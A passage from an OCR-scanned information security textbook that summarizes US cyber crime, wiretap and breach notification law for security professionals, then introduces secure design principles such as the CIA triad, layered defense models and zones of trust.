that causes damage to the victim system. Section (a) (5) (A) (ii) prohibits intentionally
accessing a protected computer without authorization and recklessly causing damage;
Section (a) (5) (A) (iii) criminalizes the same unlawful access coupled with causing any
damage, negligently or otherwise. The severity of the penalties depends on whether the
damage was caused recklessly (a felony) or negligently (a misdemeanor). Thus, unlike
(a) (5) (A) (i), the latter two subsections do require an “unauthorized access” coupled with
the causing of damage. Significantly, both (a) (5) (A) (ii) and (iii) require that the perpetrator
be an “outsider,” as someone merely exceeding authorized access cannot commit either
offense. For all three subsections of 1030(a) (5), the conduct must result in the previously
identified subsets of “damage” set forth in 1030(a) (5) (B). Accordingly, bothersome
and potentially nefarious conduct, such as repeated port-scanning, where no actual
unauthorized access has occurred and no actual damage has resulted, do not reach the
level of a 1030(a) (5) violation.”

” Moulton v VC3, 2000 WL 33310901 (N.D. Ga. 2000).
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USA PATRIOT Act (Sections 808, 814, 816)
The USA PATRIOT Act contains several provisions that apply to computer security, notably

the following:

Section 808 adds certain computer fraud and abuse offenses to the list of violations that
may constitute a federal crime of terrorism. The new provisions apply to: anyone who
knowingly accesses a computer without authorization and obtains classified information;
and, anyone who knowingly causes the transmission of a program, information, code, or
command, and as a result intentionally causes damage to a protected computer. The
inclusion of these offenses in the definition of a federal crime of terrorism in Section
2332b(g) (5) (B) relates primarily to who has investigatory authority over the offenses (the
Attorney General, in this case). However, by virtue of cross references in other parts of the
Act, including these offenses in the definition of terrorism also affects: the extension of
their statute of limitations (Section 809 of the Act); post-release supervision of someone
convicted of these offenses under certain circumstances (Section 812 of the Act); and,
applicability of the racketeering statutes (Section 813 of the Act). According to Section 809,
should these computer offenses result in or create a foreseeable risk of death or serious
bodily injury, there is no statute of limitations. Under similar conditions, Section 812 could
lead to life-time post-release supervision. The cross-reference to racketeering statutes gives
law enforcement officials more tools with which to prosecute computer trespassers.

Section 814 increases the penalties for certain computer fraud and abuse offenses. The
penalty for a first offense of causing the transmission of a program, information, code or
command that intentionally causes damage to a protected computer increases from 5 years
to 10 years. The penalty for a second such offense or a second offense of intentionally
gaining unauthorized access to a protected computer and, as a result, recklessly causing
damage is increased from 10 years to 20 years. Also, it is now an offense to attempt to
commit these offenses even if the attempt is not successful or does not cause any damage.
This section also redefines “damage.” Damage is now defined as: i) loss to one or more
persons during any 1-year period aggregating at least $5,000 in value; ii) modification or
impairment, or potential modification or impairment, of the medical examination,
diagnosis, treatment, or care of one or more individuals; iii) physical injury to any person;
iv) a threat to public health or safety; v) damage affecting a computer system used by or for
a government entity in furtherance of the administration of justice, national defense, or
national security. Prior to this, it was not clear whether the $5,000 threshold was per person
affected or the total value of damages caused to all people affected. The new language
clarifies that it is the latter. Finally, the Section also modifies the language in 18 U.S.C. 1030
regarding civil suits. This includes new language that says victims suffering damages
resulting from an offense listed in section 1030 may not sue under this section for negligent
design or manufacture of hardware, software, or firmware. This is a broad immunity that
protects manufacturers should any design or manufacture problem lead to damages,
including, one would expect, security vulnerabilities which are a common problem in
trying to make information systems more secure.

Section 816 encourages the establishment of additional computer forensic laboratories.
In addition to assisting federal authorities to investigate and prosecute computer crimes,
the laboratories are to train federal, state and local officials in computer forensics, to assist
state and local officials in investigating and prosecuting state and local computer offenses,
and to share expertise and information on the latest developments in computer forensics.
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Electronic Communication Laws

The laws, which govern e-mail and keystroke interception, retrieval, and disclosure are known
as the “electronic communications” laws. The most significant of these are the Electronic
Communications Privacy Act, and portions of the USA PATRIOT Act. The following sections
cover the specific aspects of these laws that information security professionals need to be
aware of.

The Electronic Communications Privacy Act

Federal statutes protect electronic communications, including e-mail, instant messaging, and
the keystrokes of network users (and sometime abusers) both from interception while they
are being sent, and from access after they arrive at their destination. The Electronic
Communications Privacy Act (ECPA) and its associated federal statutes prohibit the
unauthorized interception or disclosure of such communications, but the level of protection
for the communications differs depending upon whether the communications are in transit
or are stored. Understanding how these laws work is also useful in understanding when your
organization is the victim of a crime. More importantly, however, because the monitoring of
electronic communications is an integral part of what information security professionals are
asked to do, they should have a firm grasp of when such monitoring is authorized.

Electronic Eavesdropping or Real-Time Interception The real-time acquisition of
electronic communications in transit is governed by the wiretap provisions of the ECPA,
codified at 18 U.S.C. Section 2511 and following. Specifically, Section 2511 (a) prohibits
intentionally infercepting (or “endeavoring to intercept”) any electronic communication,
intentionally disclosing (or “endeavoring to disclose”) the contents of any electronic
communication knowing or having reason to know that the information was obtained
through an illegal wiretap, or using (or “endeavoring to use”) the information knowing it
was obtained via an unlawful interception.® Practically speaking, the wiretap provisions
make unlawful the use of packet sniffers or other devices designed to record the keystrokes
of persons sending electronic communications, unless a legally recognized exception
applies to authorize the conduct.

Naturally, information security professionals must be able to use electronic monitoring
tools in maintaining and protecting their network environments. The wiretapping
provisions of the ECPA recognize this reality and afford two primary exceptions (other than
specific Title III wiretapping authorities for law enforcement) under which the interception
of electronic communications is permitted: self-defense and consent. The self-defense or
system provider exception states that a “provider of ... electronic communication service”
may intercept communications on its own machines “in the normal course of employment
while engaged in any activity which is a necessary incident to ... the protection of the rights
or property of the provider of that service.”

The courts have not had occasion to define the contours of when such an activity is
“necessarily incident” to protecting rights and property. What is certain, however, is that
there must be some limitation on permissible monitoring, or the exception would swallow

818 U.S.C. § 2511(1) (a), (c), and (d).
918 U.S.C. § 2511(2) (a) (i).
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the general prohibition. Whereas a system administrator’s monitoring the keystrokes of an
attacker who has gained access via a dormant account and attempted to elevate himself to
root-level access surely falls squarely into the exception, periodic monitoring of the e-mail
communications of all junior vice-presidents in a certain division of an organization seems
to stretch beyond the rationale for the exception.

NOTE In some cases, an entity may monitor an attacker’s activities for a period of time and then turn over
the results of its own investigation to law enforcement. Once a criminal investigation related to the
activity commences, it is unlawful for any person to disclose the communications obtained lawfully
under the self-defense exception if done with the intent to impede or obstruct the criminal
investigation, or if the communications were intercepted in connection with that criminal investigation.

The uncertainty of the self-defense exception’s reach suggests that reliance on the
second exception, consent, provides a far sounder footing in most instances. The Wiretap
Act recognizes that it shall not be unlawful for a person to intercept an electronic
communication where the person “is a party to the communication or where one of the
parties to the communication has given prior consent to such interception.”’” The clearest
form of consent is when an actual party to the communication seeks to record it. Under
federal law, both parties need not consent to the recording or disclosure of e-mails or
instant messages by either the sender or recipient of those messages. (Some states, however,
require that both parties to a communication consent before the contents may be recorded
or disclosed.)

In most instances where an organization calls upon its information security staff to
monitor communications, however, the staff are not participants in the subject
communications. The entity that owns the network is not automatically a party to an e-mail
exchange between someone using its system and a third party outside the network.
Accordingly, if that entity wishes to preserve the right to monitor such communications, it
must ensure that it has previously obtained the consent to do so from all users of its
network. The cleanest manner of ensuring consent to record all communications on an
entity’s network is to use a click-through banner as part of the login process, requiring any
user of the system to accept that use of the system constitutes consent to the monitoring of
all use of that network.

In the absence of such a banner, consent via organizational acceptable use policies and
employee handbooks may suffice. When relying on consent obtained via policy or
handbook, entities should be mindful of defining the consent broadly. Broad consents are
increasingly necessary, due both to the proliferation of devices enabling the exchange of
electronic communications (such as cell phones, smartphones, tablets, portable computing
devices, and remote access programs), and to recent court cases extending the application
of the wiretap provisions to activities that may be routinely monitored by organizations
without regard to wiretapping concerns, such as tracking URLs visited by network users."

"18 U.S.C. § 2511(2) (d). The consent section does not apply, however, where the communication is
intercepted for the purpose of committing any criminal or tortious act.
" In re Pharmatrak Privacy Litigation, 329 F.3d 9 (1st Cir. 2003).
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Like the CFAA, the wiretap provisions of the ECPA permit civil suits to be brought for
violations of the Act. Any person whose wire, oral, or electronic communication is
intercepted, disclosed, or intentionally used in violation of the Act may recover actual,
statutory, and/or punitive damages from the person or entity engaging in the offense."
Thus, criminal liability aside, it is critical that information security professionals are mindful
about the types of interceptions they and their companies perform.

Stored Communications

Stored electronic communications, such as e-mail residing on a mail server, are protected by
the stored communications provisions of the ECPA, codified at 18 U.S.C. Section 2701 and
following. Specifically, Section 2701 (a) (1) and (2) prohibit intentionally accessing, without
or in excess of authorization, the facilities of a provider of electronic communications (an
entity that provides users the ability to send and receive e-mail, not merely an individual’s
PC) and thereby obtaining, altering, or preventing authorized access to the electronic
communications stored there.'” Thus, hacking into an e-mail server for the purpose of
obtaining access to stored e-mail is prohibited by the stored communications provisions.
This prohibition applies equally to hacking into the e-mail servers of providers to the public
(such as ISPs) and private providers of restricted networks belonging to organizations. In
connection with the passage of the Homeland Security Act in 2002, violations where the
offense is committed for purposes of commercial advantage or gain, malicious destruction,
or in furtherance of another criminal or tortious act were elevated to a felony.

Significantly, unlike real-time interceptions, which are unlawful without an explicit
exception, the review or recording of stored communications is lawful unless coupled with
an unauthorized access to the information. For system administrators with root level access
to their organization’s e-mail servers, accessing these communications for legitimate purposes
(doing so on behalf of the organization in a manner consistent with the organization’s policies)

When Are Communications “Stored”?

Because the prohibitions on monitoring and accessing electronic communications
differ significantly depending on whether the communications are characterized as
“in transit” or “stored,” this characterization is important. A case in which this became
a deciding factor was United States v Councilman, 245 F.Supp.2d 319,321 (D. Mass.
2003), in which the First Circuit Court of Appeals dismissed charges of illegal
wiretapping when the defendant intercepted a competitor’s emails, claiming that
communications held briefly in a system’s RAM, or stored for a nanosecond while
being routed across the Internet, are considered stored, and therefore the defendant
was not “intercepting” communications. This decision was reversed in 2005, when the
First Circuit’s new decision was that even though emails are “stored” in memory
during transit, it is still illegal to secretly intercept them. Subsequently in 2007, the
defendant was acquitted, but the First Circuit’s decision on the meaning of “stored”
still stands.

1218 U.S.C. § 2520(b) and (c).
1318 U.S.C. § 2701.
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will seldom, if ever, be unauthorized. Reviewing the system logs for non-content, transactional
information is even less problematic. Of course, the technical ability to access e-mail is not
coextensive with the level of authority to do so.

NOTE For example, a rogue system administrator who peruses an officer of the company’s e-mail out of
curiosity is likely violating company policy, and is potentially violating the ECPA by extension.

USA PATRIOT Act (Sections 105, 202, 210, 216, 220)

Section 105 provides certain powers to the U.S. Secret Service’s Electronic Crime Task Force
for investigating electronic crimes, for example “cloning” cell phones and denial-of-service
attacks against on-line services. This section directs the Director of the Secret Service to
develop a national network of computer security task forces from both government and
private sectors.

Section 202 and Section 217 allow law enforcement officials to intercept electronic
communications of “computer trespassers” if they have been given legal permission by
the Attorney General, or other designated officials, via a court order to intercept targeted
communications. A “computer trespasser” is defined as someone “who accesses a
protected computer without authorization and thus has no reasonable expectation of
privacy in any communication to, through, or from the protected computer” as long as
the owner or operator of the protected computer authorizes the interception; the person
acting under color of law is lawfully engaged in an investigation; the person acting under
color of law has reasonable grounds to expect the content of the computer trespasser’s
communication is relevant to the investigation; and the interception acquires only the
trespasser’s communications within the invaded computer.

Section 210 expands the information that law enforcement officials may obtain (with
appropriate authorization) from providers of electronic communications service or remote
computing services regarding a subscriber or customer of those services to include a
subscriber’s or customer’s means and source of payment, as well as allowing the collection
of session times and network addresses, to improve the ability of law enforcement officials
to track the activity and identity of suspects concerning a wide range of offenses, including
terrorist activities and those of computer trespassers.

Section 216 allows authorities to use pen registers and trap and trace devices with a
single court order and apply those devices to any computer or facility anywhere in the
country. (Previously, authorization had to be obtained in each jurisdiction where the
devices needed to be applied, and this was considered only to be relevant to telephony
devices and not computers.)

Section 220 allows a single court with jurisdiction over the offense under investigation
to issue a warrant allowing the search of electronic evidence anywhere in the country,
whereas previously the warrant needed to be issued by a court within the jurisdiction where
the information resided.

Other Substantive Laws

Other “substantive” laws, which address unlawful conduct either committed in cyberspace
or assisted by computers, are described in the following sections.

www.it-ebooks.info


http://www.it-ebooks.info/

80

PART | Foundations

Other Cyber Crimes

While the core cyber crimes are covered under the CFAA and ECPA, there are additional
substantive provisions of criminal and civil law that may affect information security
professionals in the course of their regular duties, and they should have some
understanding of these laws. Each of the offenses discussed in this section are routinely
encountered within organizations, and they generally involve the use of the organization’s
computer network to some degree. In many cases, the information security manager will be
the first person in the organization to become aware of such activity, and he or she should
have some basis for evaluating its significance. These offenses include theft of trade secrets,
copyright and trademark infringement, and possession of child pornography. Each of the
statutes governing this conduct is particularly relevant not only to causes of action against
attackers and outsiders, but also to internal investigations.

Criminal theft of trade secrets is punishable under the Economic Espionage Act,
codified at 18 U.S.C. Sections 1831-39. A defendant is guilty of economic espionage if, for
economic benefit, she steals, or obtains without authorization, proprietary trade secrets
related to a product involved in interstate commerce, with the knowledge or intent that the
owner of the secret would suffer injury. This statute applies equally to trade secrets stolen
by outsiders and those obtained without approval or authorization by employees. Civil cases
of trade-secret theft must be filed under state trade-secret law.

Another discomforting problem for network administrators is the discovery of electronic
contraband stored on their organization’s network, whether placed there by an attacker or
by an internal network user. Two pervasive examples of this issue are intellectual property
infringement and child pornography. Intentional electronic reproduction of copyrighted
works with a retail value of more than $2,500 is punishable by fine, imprisonment, or both
via 18 U.S.C. Section 2319, Criminal Infringement of a Copyright. While this statute can
apply to outsiders who copy an organization’s products, it also applies to employees of an
organization who host infringing content on the organization’s network. (Criminal
trademark infringement—for instance, selling pirated copies of software or musical works
with a counterfeited mark—is likewise punishable by fine, imprisonment, or both via 18
U.S.C. Section 2320.) Increasingly, content owners are also targeting private organizations
where they identify users of those networks who are actively engaging in the swapping of
copyrighted materials via the organization’s network. In such instances, the organization will
generally not be held liable for the rogue actions of employees, particularly where they
violate the organization’s written policies. To ensure that the organization does not risk
exposure, however, it is important to respond swiftly upon discovering infringing materials
on the network.

18 U.S.C. Section 2252 and 18 U.S.C. Section 2252A prohibit the “knowing” possession
of any book, magazine, periodical, film, videotape, computer disk, or other material that
contains an image of child pornography that has been mailed or transported interstate by
any means, including by computer. Actual knowledge or reckless disregard of the minority
of the performers and of the sexually explicit nature of the material is required. Although
there is some authority intimating that the intent requirement is satisfied when a defendant
is aware of the nature of the material, the requirement that possession of such material is
“knowing” was created specifically to protect people who have received child pornography
by mistake. Therefore, individuals who unknowingly possess material meant for another are
not implicated by the statute.
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However, cases interpreting the federal statute have found that a party may be found to
“knowingly” possess child pornography if it possesses such material for a long period of time
and does not delete it. Accordingly, it is imperative that an entity take action upon attaining a
sufficient level of knowledge that it is in possession of the contraband material. In many cases,
an information security manager may discover an employee directory with a number of JPEG
files with filenames suggestive of child pornography. If these images are not actually viewed,
however, the requisite level of “knowledge” may not have crystallized, despite suggestive
names. Courts have stated that filenames are not necessarily a reliable indicator of the actual
content of files, and that it is rarely, if ever, possible to know if data in a file contains child
pornography without viewing the file on a monitor."* Section 2252A(d) contains an
affirmative defense to possession charges for anyone who promptly takes reasonable steps to
destroy the images or report them to law enforcement, provided the person is in possession
of three or fewer images. Although the defense is limited to three or fewer images, as a
practical matter, if an employee is storing child pornography on an organization’s network in
violation of the organization’s acceptable use policies, that conduct (even where the number
of images far exceeds three) will not be imputed to the organization if it promptly takes
action to delete the images or report them to the authorities.

State Legislation

A particularly useful resource for finding out what legislation has been proposed, and
the status of each, is the National Conference of State Legislatures, which can be found
at www.ncsl.org/default.aspx?tabid=13489. According to the NCSL Security Breach
Legislation 2011 year-end summary (December 20, 2011):

Information security experts are calling 2011 one of the worst years for data security
breaches in the last 10 years. Since 2002, forty-six states, the District of Columbia,
Puerto Rico and the Virgin Islands have enacted legislation requiring notification of
security breaches involving personal information. In 2011, at least 14 states introduced
legislation expanding the scope of laws, setting additional requirements related to
notification, or changing penalties for those responsible for breaches.

Following are examples of state legislation that has passed, as summarized by NCSL in its
2011 year-end summary:

e California, S.B. 24, Status: August 31, 2011; Signed by Governor Requires any
agency, person, or business that is required to issue a security breach notification
pursuant to existing law to fulfill additional requirements pertaining to the security
breach notification by electronically submitting a single sample copy of that security
breach notification to the Attorney General. Provides that a covered entity under
the federal Health Insurance Portability and Accountability Act is deemed to have
complied with these provisions if it has complied with existing federal law.

NOTE What is new for California is the requirement to submit a sample copy of the breach notification
to the Attorney General. California has had security breach notification law since SB1386, passed
in 2003.

" U.S. v Gray, 78 F.Supp.2d 524, 529 (E.D. Va. 1999).
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¢ Illinois, H.B. 3025, Status: August 22, 2011; Public Act No. 483 Amends the
Personal Information Protection Act; relates to security breaches; requires that
certain information be provided in a disclosure notification to a State resident after
a breach; provides for a delay of notification to prevent interference with a criminal
investigation; provides that civil penalties may be imposed on certain contracted
third parties; specifies that a person disposing of materials containing personal
information must do so in a manner that renders the information undecipherable.

NOTE What is interesting about this piece of legislation is that it provides for a delay in notification to
allow criminal investigation to occur and it addresses the disposal of materials containing personal
information.

¢ Nevada, S.B. 82, Status: June 13, 2011; Signed by Governor, Chapter 331 Relates to
governmental information systems; requires the Chief of the Office of Information
Security of the Department of Information Technology to investigate and resolve
matters relating to security breaches of information systems of state agencies and
elected officers; revises authority of the Department to provide services and
equipment to local governmental agencies; authorizes the Chief of the Purchasing
Division of the Department of Administration to publish advertisements for bids.

e Nevada, S.B. 267, Status: June 13, 2011; Signed by Governor, Chapter 354 Revises
provisions governing personal information and encryption. Prohibits a data collector
from moving a data storage device which is used by or is a component of a multi-
functional device beyond the control of the data collector, its data storage contractor
or a person who assumes the obligation of the data collector to protect personal
information unless the data collector uses encryption to ensure the security of the
information. Provides for alternative methods or technologies to encrypt data.

The information security professional must keep abreast of individual state security
legislation especially if the organization conducts business in numerous states.

Summary

The responsibilities of information security professionals continue to expand. In addition
to keeping pace with the rapid advancements in security technology, these professionals
increasingly must be aware of the emerging spate of information security laws and
regulations. Enacting and administering effective information security policies and
procedures requires that information security professionals understand the laws governing
cyber crime, and these laws continue to evolve.

The most significant impact of legislation is that the “techies” are no longer solely
responsible for defining “best practices” and “industry standards” for information security.
Rather, defining and enforcing information security standards for consistency of practice
across the United States is the province of Congress, state legislatures, and federal and state law
enforcement agencies. In this regulated environment, information security professionals can
expect to be working closely with counsel, outside auditors, and corporate boards to ensure
that their organizations’ information security practices not only protect the organization’s
network, but shield the organization from potential liability arising from cyber incidents.
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CHAPTER

Secure Design Principles

Every network security implementation is based on some kind of model, whether clearly
stated as such or assumed. For example, organizations that use firewalls as their primary
means of defense rely on a perimeter security model, while organizations that rely on
several different security mechanisms are practicing a layered defense model. Every security
design includes certain assumptions about what is trusted and what is not trusted, and who
can go where. Starting out with clear definitions of what is fully trusted, what is partially
trusted, and what is untrusted, along with an understanding of which defense model is
being used, can make a security infrastructure more effective and applicable to the
environment it is meant to protect.

The CIA Triad and Other Models

Every security book written in the last several years mentions the CIA triad—Confidentiality,
Integrity, and Availability. This venerable, well-established conceptual model, though very
data-centric, is often useful in helping people think about security in terms of the most
important aspects of information protection.

The CIA concept is not perfect. CIA focuses on three aspects of information protection
that indeed are important, but it is not an all-inclusive model. Throughout this book, you
will find many more important concepts in addition to these three, but they are mentioned
here for the sake of completeness and consistency with common vocabulary. You should
keep in mind that not all security professionals are big fans of the CIA triad, but you should
be familiar with it.

Confidentiality

Confidentiality refers to the restriction of access to data only to those who are authorized to
use it. Generally speaking, this means a single set of data is accessible to one or more
authorized people or systems, and nobody else can see it. Confidentiality is distinguishable
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from privacy in the sense that “confidential” implies access to one set of data by many
sources, while “private” usually means the data is accessible only to a single source. As an
example, a password is considered private because only one person should know it, while a
patient record is considered confidential because multiple members of the patient’s
medical staff are allowed to see it. Confidentiality controls are described in the chapters
contained in Part II of this book.

Integrity

Integrity, which is particularly relevant to data, refers to the assurance that the data has not
been altered in an unauthorized way. Integrity controls are meant to ensure that a set of data
can’t be modified (or deleted entirely) by an unauthorized party. Part of the goal of integrity
controls is to block the ability of unauthorized people to make changes to data, and another
part is to provide a means of restoring data back to a known good state (as in backups). Data
integrity is also covered in the chapters of Part II of this book (from a design perspective)
and Part IV (from an operations perspective).

Availability

Unlike confidentiality and integrity, which make the most sense in the context of the data
contained within computer systems, availability refers to the “uptime” of computer-based
services—the assurance that the service will be available when it’s needed. Service
availability is usually protected by implementing high-availability (or continuous-service)
controls on computers, networks, and storage. High-availability (HA) pairs or clusters of
computers, redundant network links, and RAID disks are examples of mechanisms to
protect availability.

Additional Concepts

Alternatives to the CIA triad that include other aspects of security have been proposed by
various thought leaders in the security profession. For example, Donn B. Parker proposed a
set of six elements, known as the Parkerian Hexad, or the six atomic elements of information,
which includes Control (or Physical Possession), Authenticity, and Ultility. Other principles
that have been proposed include Accountability, Non-Repudiation, and Legality. The U.S.
Department of Defense defined “Five Pillars of Information Assurance,” which include
Authenticity and Non-Repudiation along with the CIA triad. The Organization for Economic
Co-operation and Development (OECD) published guidelines that added Awareness,
Responsibility, Response, Ethics, Democracy, Risk Assessment, Security Design and
Implementation, Security Management, and Reassessment. Perhaps the most complete set

is included in the U.S. National Institute of Standards and Technology Special Publication
800-27, Revision A, which proposes a total of 33 principles for securing technology systems.
All of the various concepts used to break security into logical categories are included
throughout this book. As you can see, there are many ways to categorize security principles,
and the CIA triad is the most simplistic of them all.
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In sum, the best-known attributes of security defined in the preceding models and
others like them include

¢ Confidentiality ¢ Non-repudiation

* Integrity ® Ownership

® Availability ® Physical Possession
® Accountability ® Reassessment

® Accuracy * Relevance

¢ Authenticity ® Response

® Awareness ® Responsibility

¢ Completeness ® Risk Assessment

¢ Consistency ¢ Security Design and
e Control Implementation

® Democracy * Security Management

e Ethics e Timeliness

* Legality e Utility

Defense Models

Getting back to basics—what’s the best way to defend against threats to the assets you want to
protect? There are two approaches you can take to preserve the confidentiality, integrity,
availability, and authenticity of electronic and physical assets such as the data on your network:

¢ Build a defensive perimeter around those assets and trust everyone who has access
inside

¢ Use many different types and levels of security controls in a layered defense-in-
depth approach

The first edition of this book introduced the concepts of the lollipop and the onion to
visually depict the two most common approaches to security.

The Lollipop Model

The most common form of defense, known as perimeter security, involves building a virtual
(or physical) wall around objects of value. Perimeter security is like a lollipop with a hard,
crunchy shell on the outside and a soft, chewy center on the inside, as illustrated in Figure 4-1.
Consider the example of a house—it has walls, doors, and windows to protect what’s inside
(a perimeter). But does that make it impenetrable? No, because a determined attacker can
find a way in—either by breaking through the perimeter, or exploiting some weakness in it,
or convincing someone inside to let them in. By comparison, in network security, a firewall
is like the house—it is a perimeter that can’t keep out all attackers. Yet the firewall is the
most common choice for controlling outside access to the internal network, creating a
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Protected Asset

Perimeter Barrier

Figure 4-1 The lollipop model of defense

virtual perimeter around the internal network (which is usually left wide open). This often
creates a false sense of security, because attackers can break through, exploit vulnerabilities,
or compromise the network from the inside.

One of the limitations of perimeter security is that once an attacker breaches the
perimeter defense, the valuables inside are completely exposed. As with a lollipop, once
the hard, crunchy exterior is cracked, the soft, chewy center is exposed. That’s why this is
not the best model of defense.

Another limitation of the lollipop model is that it does not provide different levels of
security. In a house, for example, there may be jewels, stereo equipment, and cash. These
are all provided the same level of protection by the outside walls, but they often require
different levels of protection. On a computer network, a firewall is likewise limited in its
abilities, and it shouldn’t be expected to be the only line of defense against intrusion.

NOTE A lollipop defense is not enough to provide sufficient protection. It fails to address inside threats
and provides no protection against a perimeter breach. Yet many organizations do not understand
firewalls in this way. Firewalls are an important part of a complete network security strategy, but they
are not the only part. A layered approach is best.

Firewalls are an important part of a comprehensive network security strategy, but they
are not sufficient alone. Today, networks both send information to and receive information
from the Internet, and the rules for doing so are complex. Firewalls are still useful for
shielding networks from each other, but they are often not sufficient to provide proper
access controls, especially when internetwork communication and network resource
sharing are complicated.

The Onion Model

A better approach is the onion model of security. It is a layered strategy, often referred to as
defense in depth. This model addresses the contingency of a perimeter security breach
occurring. It includes the strong wall of the lollipop but goes beyond the idea of a simple
barrier, as depicted in Figure 4-2. A layered security architecture, like an onion, must be
peeled away by the attacker, layer by layer, with plenty of crying.
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Protected Asset

Access Control
Encryption
Patching
Monitoring

Physical Security

Figure 4-2 The onion model of defense

Consider what happens when an invader picks the front door lock or breaks a window
to gain entry to a house. The homeowner may hide cash in a drawer and may store valuable
jewels in a safe. These protective mechanisms address the contingency that the perimeter
security fails. They also address the prospect of an inside job. The same principles apply to
network security. What happens when an attacker gets past the firewall? What happens
when a trusted insider, like an employee or a contractor, abuses their privileges? The onion
model addresses these contingencies.

A firewall alone provides only one layer of protection against threats originating from
the Internet, and it does not address internal security needs. With only one layer of
protection, which is common on networks connected to the Internet, all a determined
individual has to do is successfully attack that one system to gain full access to everything
on the network. A layered security architecture provides multiple levels of protection
against internal and external threats.

The more layers of controls that exist, the better the protection against a failure of any
one of those layers. Consider a system that allows full access to an account that only uses
username/password authentication, without any other security controls. That system uses
only one layer of security, and it is strictly an authentication control. Anyone who obtains
the username and password, or hijacks an account that’s already logged in, can gain full
access to the system. Since there are no other layers that must be bypassed, the system
would be completely compromised. If such a system had further layers of security controls
that needed to be passed after the username and password authentication, compromising
the system would be correspondingly more difficult.

The layered security approach can be applied at any level where security controls are
placed, not only to increase the amount of work required for an attacker to break down
the defenses, but also to reduce the risk of unintended failure of any single technology.
System, network, and application authentication controls can be layered. Network and
system access controls can also be layered. Encryption protocols can be layered (such as
by encrypting first with PGP followed by encrypting with Blowfish or AES). Audit trails can
be layered with the use of local system logs coupled with off-system network activity logs.
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Merging Security Models: A Case Study

Two well-known computer manufacturers, Silicon Graphics (SGI) and Cray Research,
merged in an attempt to combine SGI’s three-dimensional modeling and display
technologies with Cray’s supercomputing technologies. Brent Chapman, a well-
known information security professional and author, gave a presentation about this
merger and the resulting security architecture while the merger was under
development. The merger of these two organizations presented a unique and
interesting challenge to security architects.

SGI had an open, casual, collaborative group of technical engineers who enjoyed
full, unrestricted access. Their computer network was based on the lollipop defense
model. Everything on the inside was freely accessible by every employee. Cray, in
contrast, had a cautious, clearly defined set of duties for every job position. Its
network was highly segmented and followed the onion defense model. These
employees were required to demonstrate a need to know before they were given
access to areas of the network. After the business end of the merger was completed,
both organizations were faced with a difficult decision about how to connect their two
networks to fit their corporate cultures.

Because the two organizations had very different corporate cultures, they
required different security models for different parts of their networks. The solution
was called containment fields, which used firewalls as access control mechanisms to
segment networks with differing security requirements. For example, there were
classrooms and demonstration facilities that customers were allowed access to, as
well as internal development networks where outsiders were strictly prohibited.
Containment fields were developed as a way to establish and link pieces of networks
that had special security requirements without compromising the security of the
larger network in which they resided.

System availability controls can be layered by using clustering technology and redundancy.
Many organizations use uninterruptible power supply (UPS) systems but also have backup
generators in case the UPS systems fail. These are all examples of layered approaches that
place similar controls in conjunction, or in sequence, to compensate for the loss of any
individual control.

Zones of Trust

Different areas of a network trust each other in different ways. Some communications are
trusted completely—the services they rely on assume that the sender and recipient are on
the same level, as if they were running on a single system. Some are trusted incompletely—
they involve less trusted networks and systems, so communications should be filtered. Some
networks (like the Internet or wireless hot spots) are untrusted. The security controls
should carefully screen the interfaces between each of these networks. These definitions of
trust levels of networks and computer systems are known as zones of trust. This concept is
illustrated in Figure 4-3.
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Figure 4-3 Zones of trust

Once you have identified the risks and threats to your business, and you know what
functions are required for your business, you can begin to separate those functions into
zones of trust. To do this, you need to assign levels of trust to each collection of resources
on the network—in other words, you need to specify what level of risk is acceptable to
accomplish each business function. That involves making trade-offs between what you want
to do and what you want to avoid.

Zones of trust are connected with one another, and business requirements evolve and
require communications between various disparate networks, systems, and other entities on
the networks. Corporate mergers and acquisitions, as well as business partner relationships,
produce additional complexities within the networking environment that can be diagrammed
and viewed from the perspective of trust relationships. Once you understand how systems
need to communicate with each other on the network, you can begin to develop a strategy for
containing those systems into zones.

NOTE Different levels of trust are always present in any environment. Some areas are trusted more than
others, and different areas trust each other in different ways. Enumerating these areas is an
important step in reducing the weak spots that can undermine a security implementation.

IT resources vary in the extent to which they trust each other. Separating these
resources into zones of trust enables you to vary the levels of security for these resources
according to their individual security needs. The use of multiple zones allows access
between a less and a more trusted zone to be controlled to protect a more trusted resource
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from attack by a less trusted one. Any zone could be subdivided into policy pockets of
common security policies if need be, to support additional classification categories without
the infrastructure expense of establishing another zone.

To visualize trust zones, imagine a castle surrounded by multiple walls that form
concentric rings around the castle. There are cities in the rings, and there is exactly one
door in each of the ring walls. Each door has a guard who says “Who goes there?” and who
may ask for identification and a password. It is difficult for people in outer rings to attack
people in the inner rings, but it isn’t difficult to attack people if they are in the same ring.
Thus, those in the same ring need to have the same minimum level of trustworthiness.

To establish a minimum level of trust, each zone (except perhaps an “untrusted” zone)
requires that the devices in it have a certain, equivalent level of security—this level of
security is determined by the technologies and procedures that are in place to check for
attacks, intrusions, and security policy violations. Measures to establish trust include fixing
known problems, detecting intrusions, and periodically checking for unauthorized
changes, violations of policy, and vulnerabilities to attack.

Firewalls, routers, virtual LANs (VLANSs), and other network access control devices and
technologies can be used to separate trust zones from each other (as the walls in the castle
analogy did). Access control lists (ACLs) and firewall rules can be used to control the
intercommunication between these levels, based on authorization rules defined in the
security architecture.

The importance of trust models is that they allow a broad, enterprise-wide view of
networks, systems, and data communications, and they highlight the interactions among
all of these components. Trust models can also distinguish boundaries between networks
and systems, and they can identify interactions that might otherwise be overlooked at the
network level or system level.

Trust can also be viewed from a transaction perspective. During a particular transaction,
several systems may communicate through various zones of trust. In a transaction-level trust
model, instead of systems being separated into different trust zones based on their locations
on the network (as is done with the Internet, a DMZ, and an internal network), systems can
be separated into functional categories based on the types of transactions they process. For
example, a credit card transaction may pass through a web server, an application server, a
database, and a credit-checking service on the Internet. During the transaction, all of these
systems must trust each other equally, even though the transaction may cross several
network boundaries. Thus, security controls at the system and network levels should allow
each of these systems to perform their authorized functions while preventing other systems
not involved in the transaction from accessing these resources.

Segmenting network data resources based on their access requirements is a good
security practice. Segmentation allows greater refinement of access control based on the
audience for each particular system, and it helps confine the communications between
systems to the services that have transactional trust relationships. Segmentation also
confines the damage of a security compromise. In the event that a particular system is
compromised, network segmentation with access control lists reduces the number and
types of attacks that can be launched from the compromised system. For example, web
servers often experience compromises due to the ease and flexibility of web server attacks.
A compromised web server that is confined in its own network segment offers fewer
opportunities for the attacker to continue attempting to attack other servers.
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NOTE Network segmentation is an important component of network security because it contains the
damage caused by network intrusions, malfunctions, and accidents.

A layered segmentation approach also provides a useful conceptual model for network
and system administrators. Several groups of servers can be included in a layer, defined by
the types of services they perform, the types of data they handle, and the places they need
to communicate to and from. For example, a public layer may contain systems that accept
